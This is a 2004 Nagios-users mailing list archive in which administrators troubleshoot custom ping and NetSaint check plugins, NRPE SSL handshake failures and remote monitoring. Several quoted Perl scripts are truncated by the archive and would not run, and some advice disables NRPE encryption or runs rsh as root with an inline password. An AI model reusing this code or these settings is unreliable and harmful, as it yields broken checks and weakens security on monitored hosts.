-----Original Message----- From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] Sent: Tuesday, March 02, 2004 5:28 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] script giving plugin missing error. The problem is the line './new.pl' Nagios is not executed from the libexec-directory, so you need the full path to the secondary script (and to the outfile). /FredrikW prabhu.anandh at wipro.com wrote: > Hi folks this is what I tried and I get the following error > (127 out of bounds plugin may be missing.)<---from status.log file > > This is the shell script that invokes perl script since I don't know > how to check strings in shell script. > > #!/bin/sh > RES1= `/bin/ping -c 2 -w 2 $HOSTADDRESS > out` <-----------------I am > sending only 2 packets. > RET=$? > echo $RES1 > ./new.pl > exit $RET > > Perl script reads as follows: > > #!/usr/bin/perl > open (FILE," while() > { > if ($_ =~ /0 received/) <-----------------if no packets are > received ,I will give it as critical or warning. > { > print ("CRITICAL - Plugin timed out after 10 seconds\n"); > } > if ($_=~ /2 received/) <-------------if both are received ,I > assume that host is up. > { > print ("PING -OK\n"); > } > } > #print "$_"; > close (FILE); > > > In hosts.cfg > I have given check_command as check_new <----name of the shell file. > > In checkcommands.cfg > Command_line /home/var/check_new $HOSTADDRESS > > > How do I make the following to take effect in the web interface. Or > where and what mistake I did. > > Thanks in advance. > > Regards, > Prabhu Anandh > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and > deploy apps & Web services for Linux with a free DVD software kit from > IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op?k _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From novickj at toysrus.com Tue Mar 2 14:08:23 2004 From: novickj at toysrus.com (Novick, Jeff) Date: Tue, 2 Mar 2004 08:08:23 -0500 Subject: Trouble with a simple plug-in I wrote ... Message-ID: <7CB57EABD6C23342AA8282DA820698990803BF6F@msg01psp.tru.com> Hi, I wrote a plug-in, although not complete to plug-in specs, I believe it should be working as it works from the command line. The problem is that it always exits with an unknown status, which is in the last two lines in the script, whenever it is executed from within nagios. I have build my first nagios (1.2) server but still have some legacy netsaint boxes running and would like to check that the netsaint process is still running. I also thought this would be a good test for writing a plug-in. The debug file from the scripts contains the following when run from the command line: -------------------------- HOST: pingsaint1.tru.com COMMAND: /usr/local/netsaint/libexec/check_netsaint /usr/local/netsaint/var/status.log 5 '/usr/local/netsaint/bin/netsaint' ERRORS: RSH RESULTS: NetSaint ok: located 7 processes, status log updated 2 seconds ago -------------------------- and when executed from within NagIOS -------------------------- HOST: pingsaint1.tru.com COMMAND: /usr/local/netsaint/libexec/check_netsaint /usr/local/netsaint/var/status.log 5 '/usr/local/netsaint/bin/netsaint' ERRORS: at /usr/local/nagios/libexec/check_netsaint.pl line 24 RSH RESULTS: -------------------------- If I need to supply anything else, please let me know. Any and all help is greatly appreciated. Thank you, Jeff ======================================================================== This email message is for the sole use of the intended recipient (s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. To reply to our email administrator directly, send an email to EmailAdmin at toysrus.com. Toys "R" Us, Inc. -------------- next part -------------- A non-text attachment was scrubbed... Name: check_netsaint.pl Type: application/octet-stream Size: 1418 bytes Desc: not available URL: From jbautista at intercable.net.ve Tue Mar 2 14:13:58 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Tue, 2 Mar 2004 09:13:58 -0400 Subject: Performance of nagios PC when the Passive Service is enabled Message-ID: <010b01c40058$38a695e0$2605020a@bjeyri> Hi, I want to know if the performance of the nagios pc is better when the active services are enabled or when the passive services are enabled. Thanks, Jeyri Bautista -------------- next part -------------- An HTML attachment was scrubbed... URL: From Nick.Platt at myflorida.com Tue Mar 2 14:11:55 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Tue, 2 Mar 2004 08:11:55 -0500 Subject: NRPE 2.0 and NRPE_NT Compatibility Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716EBB@stoexchange.state.fl.us> Hello everyone: I ran version 7c and I have the same problem repeat itself with the famous "CHECK_NRPE: Error - Could not complete SSL handshake" I thought I was out of the woods since 7c said it fixed many SSL bugs. Any suggestions? Thanks By the way: Should I not run SSL? Can anyone point to documentation on how to turn it off from the server and client side? -----Original Message----- From: Platt, Nicholas Sent: Monday, March 01, 2004 9:46 AM To: 'nagios-users at lists.sourceforge.net' Cc: Chelette, Robert Subject: RE: NRPE 2.0 and NRPE_NT Compatibility Everyone: I've made some progress by finding NRPE_NT version 7c. I found some documentation that claimed 7c fixed some SSL problems that 7b had. It particularly addresses the SSL handshake. If this fixes my problem, the newer version should be posted on the www.nagios.org site instead of the old version. Thanks -----Original Message----- From: Platt, Nicholas Sent: Monday, March 01, 2004 9:20 AM To: 'nagios-users at lists.sourceforge.net' Cc: Chelette, Robert Subject: NRPE 2.0 and NRPE_NT Compatibility Hello, I began using NRPE 2.0 to pole all Linux and NT boxes. The program works very well except for polling the NT servers. I can start polling the NT services and after a random period of time, I get the famous message: "CHECK_NRPE: Error - Could not complete SSL handshake". I have read the FAQ: http://www.nagios.org/faqs/viewfaq.php?faq_id=191 and this leads me to my questions: Is NRPE 2.0 and NRPE_NT compatible? If there is an older version of NRPE that is compatible with NRPE_TN, where can I find it? I don't see any older version on http://www.nagios.org If they are compatible, can anyone give me any suggestions on how to fix this problem? Can I turn off SSL? How? Again, Linux works great with no problems, but I'm running NRPE 2.0 with NRPE 2.0. I'm having trouble compiling for Solaris, but that will be another problem to solve later. Everyone has been so helpful and I appreciate anything you all can do for me. Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: From prabhu.anandh at wipro.com Tue Mar 2 14:23:50 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 2 Mar 2004 18:53:50 +0530 Subject: Antwort: RE: script giving plugin missing error. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9E2B@blr-sjp-msg.wipro.com> hi hendrik, I am running in root only.and for your information if i run that script manually i get the output.the problem i beleive that i have is ,if i given the hostaddress in checkcommands.cfg and i have made no provision for getting this variable in my script maybe this causes problems.any ideas??????? will it be the problem???but even if i type the address manually in the script and then run nagios........it still doesnt work. i have given the full path for every check_new(shell script), new.pl and also for out file. if i run manually the script alone,it works.strange........... thanks in advance. regards, Prabhu Anandh S. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of h.baecker at ecofis.de Sent: Tuesday, March 02, 2004 6:33 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS); nagios-users at lists.sourceforge.net Subject: Antwort: RE: [Nagios-users] script giving plugin missing error. Hi Prabhu, Did you try to execute your script as "nagios-user" or just as root? Perhaps the nagios user is not permitted to write files in the working directory of your script? Regards Hendrik Gesendet von: nagios-users-admin at lists.sourceforge.net 02.03.2004 13:48 An Kopie Thema RE: [Nagios-users] script giving plugin missing error. Hi fredrik, I have checked it and the problem is not with the nagios.when it tries to execute check_new and the shell script does not create the "out " file. Any ideas of how to solve the problem.i have given the full path for new.pl ,but it is not working. If I try to execute manually by changing the $HOSTADDRESS in shell script with the exact address,it create out file.otherwise not????????why?? Thanks in advance. regards, Prabhu Anandh S. -----Original Message----- From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] Sent: Tuesday, March 02, 2004 5:28 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] script giving plugin missing error. The problem is the line './new.pl' Nagios is not executed from the libexec-directory, so you need the full path to the secondary script (and to the outfile). /FredrikW prabhu.anandh at wipro.com wrote: > Hi folks this is what I tried and I get the following error > (127 out of bounds plugin may be missing.)<---from status.log file > > This is the shell script that invokes perl script since I don't know > how to check strings in shell script. > > #!/bin/sh > RES1= `/bin/ping -c 2 -w 2 $HOSTADDRESS > out` <-----------------I am > sending only 2 packets. > RET=$? > echo $RES1 > ./new.pl > exit $RET > > Perl script reads as follows: > > #!/usr/bin/perl > open (FILE," while() > { > if ($_ =~ /0 received/) <-----------------if no packets are > received ,I will give it as critical or warning. > { > print ("CRITICAL - Plugin timed out after 10 seconds\n"); > } > if ($_=~ /2 received/) <-------------if both are received ,I > assume that host is up. > { > print ("PING -OK\n"); > } > } > #print "$_"; > close (FILE); > > > In hosts.cfg > I have given check_command as check_new <----name of the shell file. > > In checkcommands.cfg > Command_line /home/var/check_new $HOSTADDRESS > > > How do I make the following to take effect in the web interface. Or > where and what mistake I did. > > Thanks in advance. > > Regards, > Prabhu Anandh > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and > deploy apps & Web services for Linux with a free DVD software kit from > IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op?k _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From almayirapinzon at yahoo.com Tue Mar 2 14:26:48 2004 From: almayirapinzon at yahoo.com (=?iso-8859-1?q?almayira=20pinzon?=) Date: Tue, 2 Mar 2004 07:26:48 -0600 (CST) Subject: Unscribe Message-ID: <20040302132648.36607.qmail@web40304.mail.yahoo.com> Dear Nagios, I wanna unsubcribe from that list, how can I do that? Almayira --------------------------------- Do You Yahoo!? Todo lo que quieres saber de Estados Unidos, Am?rica Latina y el resto del Mundo. Vis?ta Yahoo! Noticias. -------------- next part -------------- An HTML attachment was scrubbed... URL: From h.baecker at ecofis.de Tue Mar 2 14:43:47 2004 From: h.baecker at ecofis.de (h.baecker at ecofis.de) Date: Tue, 2 Mar 2004 14:43:47 +0100 Subject: Antwort: RE: Antwort: RE: script giving plugin missing error. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EE9E2B@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EE9E2B@blr-sjp-msg.wipro.com> Message-ID: Hi again, First: I don't know if it is a good idea to let nagios be "root"... Second: What do you think about this Perl Script? I think this will do what you want. BEWARE this ist NOT testet. #### cut #### #!/usr/bin/perl # # ## # Check for enough Arguments, such like the IP Address out of $HOSTADDRESS if (!@ARGV[0]){ print "\n\tWe need more arguments!\n\t"; exit -1; } # Nagios Return Code Definition # my %ERRORS = ('UNKNOWN', '-1', 'OK', '0', 'WARNING', '1', 'CRITICAL', '2'); system=`/bin/ping -c 2 -w 2 @ARGV[0] > /path/to/out`; open (FILE,") { if ($_ =~ /0 received/) { print ("CRITICAL - Plugin timed out after 10 seconds\n"); exit $ERRORS{CRITICAL} } if ($_=~ /2 received/) { print ("PING -OK\n"); exit $ERRORS{OK} } ### paste ### Hope this will help. Hendrik Gesendet von: nagios-users-admin at lists.sourceforge.net 02.03.2004 14:23 An , Kopie Thema RE: Antwort: RE: [Nagios-users] script giving plugin missing error. hi hendrik, I am running in root only.and for your information if i run that script manually i get the output.the problem i beleive that i have is ,if i given the hostaddress in checkcommands.cfg and i have made no provision for getting this variable in my script maybe this causes problems.any ideas??????? will it be the problem???but even if i type the address manually in the script and then run nagios........it still doesnt work. i have given the full path for every check_new(shell script), new.pl and also for out file. if i run manually the script alone,it works.strange........... thanks in advance. regards, Prabhu Anandh S. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of h.baecker at ecofis.de Sent: Tuesday, March 02, 2004 6:33 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS); nagios-users at lists.sourceforge.net Subject: Antwort: RE: [Nagios-users] script giving plugin missing error. Hi Prabhu, Did you try to execute your script as "nagios-user" or just as root? Perhaps the nagios user is not permitted to write files in the working directory of your script? Regards Hendrik Gesendet von: nagios-users-admin at lists.sourceforge.net 02.03.2004 13:48 An Kopie Thema RE: [Nagios-users] script giving plugin missing error. Hi fredrik, I have checked it and the problem is not with the nagios.when it tries to execute check_new and the shell script does not create the "out " file. Any ideas of how to solve the problem.i have given the full path for new.pl ,but it is not working. If I try to execute manually by changing the $HOSTADDRESS in shell script with the exact address,it create out file.otherwise not????????why?? Thanks in advance. regards, Prabhu Anandh S. -----Original Message----- From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] Sent: Tuesday, March 02, 2004 5:28 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] script giving plugin missing error. The problem is the line './new.pl' Nagios is not executed from the libexec-directory, so you need the full path to the secondary script (and to the outfile). /FredrikW prabhu.anandh at wipro.com wrote: > Hi folks this is what I tried and I get the following error > (127 out of bounds plugin may be missing.)<---from status.log file > > This is the shell script that invokes perl script since I don't know > how to check strings in shell script. > > #!/bin/sh > RES1= `/bin/ping -c 2 -w 2 $HOSTADDRESS > out` <-----------------I am > sending only 2 packets. > RET=$? > echo $RES1 > ./new.pl > exit $RET > > Perl script reads as follows: > > #!/usr/bin/perl > open (FILE," while() > { > if ($_ =~ /0 received/) <-----------------if no packets are > received ,I will give it as critical or warning. > { > print ("CRITICAL - Plugin timed out after 10 seconds\n"); > } > if ($_=~ /2 received/) <-------------if both are received ,I > assume that host is up. > { > print ("PING -OK\n"); > } > } > #print "$_"; > close (FILE); > > > In hosts.cfg > I have given check_command as check_new <----name of the shell file. > > In checkcommands.cfg > Command_line /home/var/check_new $HOSTADDRESS > > > How do I make the following to take effect in the web interface. Or > where and what mistake I did. > > Thanks in advance. > > Regards, > Prabhu Anandh > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and > deploy apps & Web services for Linux with a free DVD software kit from > IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op?k _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From smitchell at slumberland.com Tue Mar 2 14:55:03 2004 From: smitchell at slumberland.com (Seth Mitchell) Date: Tue, 2 Mar 2004 07:55:03 -0600 Subject: NRPE Message-ID: Hello, Yes, it is important (as I read on the TSMG newsgroup posts this weekend) to run compatible versions of the NRPE daemon and NRPE_NT. I think the current version is the 2.0b4 daemon, with the 0.7b NRPE_NT. The link on the Nagios 'Extras' page ( http://www.nagios.org/download/extras.php ) points at the straight 2.0 daemon. To get the B4 version, I just copied the link and modified it to: http://prdownloads.sourceforge.net/nagios/nrpe-2.0b4.tar.gz?download (note the b4). Once you've got compatible versions, the only remaining issue is an outstanding bug in the SSL piece of NRPE_NT. See: http://support.tsmgsoftware.com/viewtopic.php?t=145 Basically, if you modify the HKLM\System\CurrentControlSet\Services\NRPE_NT\ImagePath value to include -n on the end (space dash n) on the Windows server side, and then modify your check_nrpe commands in your Nagios checkcommands.cfg to include -n (space dash n space) before the -H, it will work. After making the modifications, remember to restart the service on the Windows box(es). It will not use the SSL piece, which means that the traffic will be somewhat sniffable, but you won't receive the error any more. -Seth smitchell at slumberland.com -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: Monday, March 01, 2004 7:25 AM To: 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191&expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&opick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ________________________________________________________________________ This email has been scanned for viruses by the MessageLabs Email Security System. For more information, contact IT. ________________________________________________________________________ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at sbtt.net Tue Mar 2 16:00:46 2004 From: nagios at sbtt.net (Steve) Date: Tue, 02 Mar 2004 10:00:46 -0500 Subject: best way to check host via a relay Message-ID: <4044A19E.8070202@sbtt.net> Whats the best way to run checks from a remote system to a host withour setting up a entire nagios system. Already have nagios at site A running checking systems, now we have Site B which also wants to monitor the same hosts, is there a way to setup a remote checking 'agent' that will communicate the event sback to the main nagio server running at site A. thanks -s ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 16:08:54 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 09:08:54 -0600 Subject: getting error "Return code of 127...Make sure the plugin you're trying to run actually exists." Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2CB@mismail2.ena.com> On Monday, March 01, 2004 2:06 PM, Daniel Finn shared with us: > Debian Woody testing/unstable 2.4.18-bf2.4 > > Software was installed from source using nagios-1.2.tar.gz & > nagios-plugins-1.3.1.tar.gz. All settings were left to default for > both installations. [snip] > from resource.cfg: > $USER1$=/usr/local/nagios/libexec/ > > from checkcommands.cfg: > # 'check_smtp' command definition > define command{ > command_name check_smtp > command_line $USER1$/check_smtp -H $HOSTADDRESS$ > } > > > and in my nagios.log file i'm getting the following: > > [1078171131] Warning: Return code of 127 for check of service 'DNS' > on host 'medusa' was out of bounds. Make sure the plugin you're > trying to run actually exists. [1078171131] HOST NOTIFICATION: > dfinn;medusa;DOWN;host-notify-by-email;(No > output!) > [1078171071] HOST NOTIFICATION: > dfinn;hercules;DOWN;host-notify-by-email;CRITICAL - Plugin timed out > after 10 seconds > > as you can see here the plugins are installed and seem to work fine > when run manually: > > wolverine:/usr/local/nagios/etc# /usr/local/nagios/libexec/check_smtp > -H 192.168.0.2 > SMTP OK - 0 second response time That's great for check_smtp, but how about whatever command you have defined for DNS on medusa, which is what's actually generating the error? Check_dns has an external dependency on nslookup. It must be installed and it must be exectuable by the nagios user. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 16:21:07 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 09:21:07 -0600 Subject: how to ping instead of check_ping. Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2CC@mismail2.ena.com> On Tuesday, March 02, 2004 6:59 AM, prabhu.anandh at wipro.com shared with us: > option. And moreover,I am not doing this for learning.I have some > ipv6 only machines and I am not able to ping using the ping > command,so I have to use ping6 for that.i am testing whether it works > for ping or not and I need your help in solving this problem. > I am putting this problem in mailing list ,since I feel this will be > a important subject. > Thanks in advance. Subhendu has already stated that the check_ping in plugins 1.4.x (CVS I presume) supports IPV6 hosts. Instead of going through all the machinations of writing your own plugin in a language you seem to not fully understand, why don't you just grab that and use it instead? Why re-invent the wheel if it's not a learning experience and you don't have to? -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 16:26:14 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 09:26:14 -0600 Subject: Trouble with a simple plug-in I wrote ... Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2CD@mismail2.ena.com> On Tuesday, March 02, 2004 7:08 AM, Novick, Jeff shared with us: > Hi, > I wrote a plug-in, although not complete to plug-in specs, I believe > it should be working as it works from the command line. The problem > is that it always exits with an unknown status, which is in the last > two lines in the script, whenever it is executed from within nagios. > > I have build my first nagios (1.2) server but still have some legacy > netsaint boxes running and would like to check that the netsaint > process is still running. I also thought this would be a good test > for writing a plug-in. > > The debug file from the scripts contains the following when run from > the command line: -------------------------- > HOST: pingsaint1.tru.com > COMMAND: /usr/local/netsaint/libexec/check_netsaint > /usr/local/netsaint/var/status.log 5 > '/usr/local/netsaint/bin/netsaint' > ERRORS: > RSH RESULTS: > NetSaint ok: located 7 processes, status log updated 2 seconds ago > > -------------------------- > > and when executed from within NagIOS > > -------------------------- > HOST: pingsaint1.tru.com > COMMAND: /usr/local/netsaint/libexec/check_netsaint > /usr/local/netsaint/var/status.log 5 > '/usr/local/netsaint/bin/netsaint' > ERRORS: > at /usr/local/nagios/libexec/check_netsaint.pl line 24 RSH RESULTS: What's happening on or about line 24 of your script? Could it be that whatever is being done there can not be done as the nagios user? More importantly, does your script print a line to standard out and exit with the proper exit code for Nagios to determine the status? There is documentation on http://nagiosplug.sourceforge.net on how to properly exit and/or you could look at an existing plugin. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at sbtt.net Tue Mar 2 16:27:27 2004 From: nagios at sbtt.net (Steve) Date: Tue, 02 Mar 2004 10:27:27 -0500 Subject: best way to check host via a relay In-Reply-To: <4044A19E.8070202@sbtt.net> References: <4044A19E.8070202@sbtt.net> Message-ID: <4044A7DF.2090406@sbtt.net> bit my touge, found the docs on Distributed Monitoring, gonna give it a try.. gonna start playing with nsca -s Steve wrote: > Whats the best way to run checks from a remote system to a host > withour setting up a entire nagios system. > > Already have nagios at site A running checking systems, now we have > Site B which also wants to monitor the same hosts, is there a way to > setup a remote checking 'agent' that will communicate the event sback > to the main nagio server running at site A. > > thanks > > -s > > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 16:35:16 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 09:35:16 -0600 Subject: best way to check host via a relay Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2CF@mismail2.ena.com> On Tuesday, March 02, 2004 9:01 AM, Steve shared with us: > Whats the best way to run checks from a remote system to a host > withour setting up a entire nagios system. > > Already have nagios at site A running checking systems, now we have > Site B which also wants to monitor the same hosts, is there a way to > setup a remote checking 'agent' that will communicate the event sback > to the main nagio server running at site A. If you want to have your main host schedule when those checks are to occur then NRPE is your ticket. NCAP is something else that might be useful (it's new though and I haven't used it before). Both are available at http://www.nagios.org/download/extras.php. If you're not wanting your central nagios host to schedule the check then cron and a wrapper script to call a plugin and send the results back via NSCA will work as well. There are actually several ways to implement the latter depending on what works best for you. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From novickj at toysrus.com Tue Mar 2 16:45:05 2004 From: novickj at toysrus.com (Novick, Jeff) Date: Tue, 2 Mar 2004 10:45:05 -0500 Subject: Trouble with a simple plug-in I wrote ... Message-ID: <7CB57EABD6C23342AA8282DA820698990803BF75@msg01psp.tru.com> Hi, Marc, I attached the script to my original email, I guess you didn't receive it. I'll paste it at the end of this. Basically, I am just executing an rsh command via Net::Rsh. Line 24 is @rshresults = $rshell->rsh($host, "root", "netsaint", $command); By the way, I am not using embedded perl. I probably should have stated that in my original email. Thank you, Jeff #!/usr/bin/perl -w use POSIX; use strict; use Net::Rsh; use lib 